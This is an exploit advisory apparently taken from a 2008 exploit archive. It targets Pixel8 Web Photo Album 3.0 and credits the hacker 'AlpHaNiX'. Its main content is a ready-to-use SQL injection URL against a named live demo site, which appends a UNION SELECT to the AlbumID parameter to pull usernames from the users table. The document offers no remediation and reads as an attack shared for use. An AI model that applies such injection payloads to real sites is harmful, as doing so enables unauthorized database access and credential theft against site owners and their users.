Pixel8 Web Photo Album 3.0 Remote SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Pixel8 Web Photo Album 3.0 Remote SQL Injection Vulnerability
# Published : 2008-12-30
# Author : AlpHaNiX
# Previous Title : Mole Group Vacation Estate Listing Script (editid1) Blind SQL Injection
# Next Title : webClassifieds 2005 (Auth Bypass) SQL Injection Vulnerability

###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.nullarea.net
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : Pixel8 Web Photo Album v3.0
#download : null
#Demo     : http://www.jayeshp.com/Pixel8/Files/Demo.asp


###########################################################################

#Exploits :

--=[SQL INJECTION]=--
http://www.jayeshp.com/Pixel8/Demo/Files/Photo.asp?Index=1&NEXTPID=1149&OSet=0&UPDEL=Yes&AlbumID=4+and+1=0+union+select+username,username,3+from+users


#Greetz For NullArea members

###########################################################################

# www.Syue.com [2008-12-30]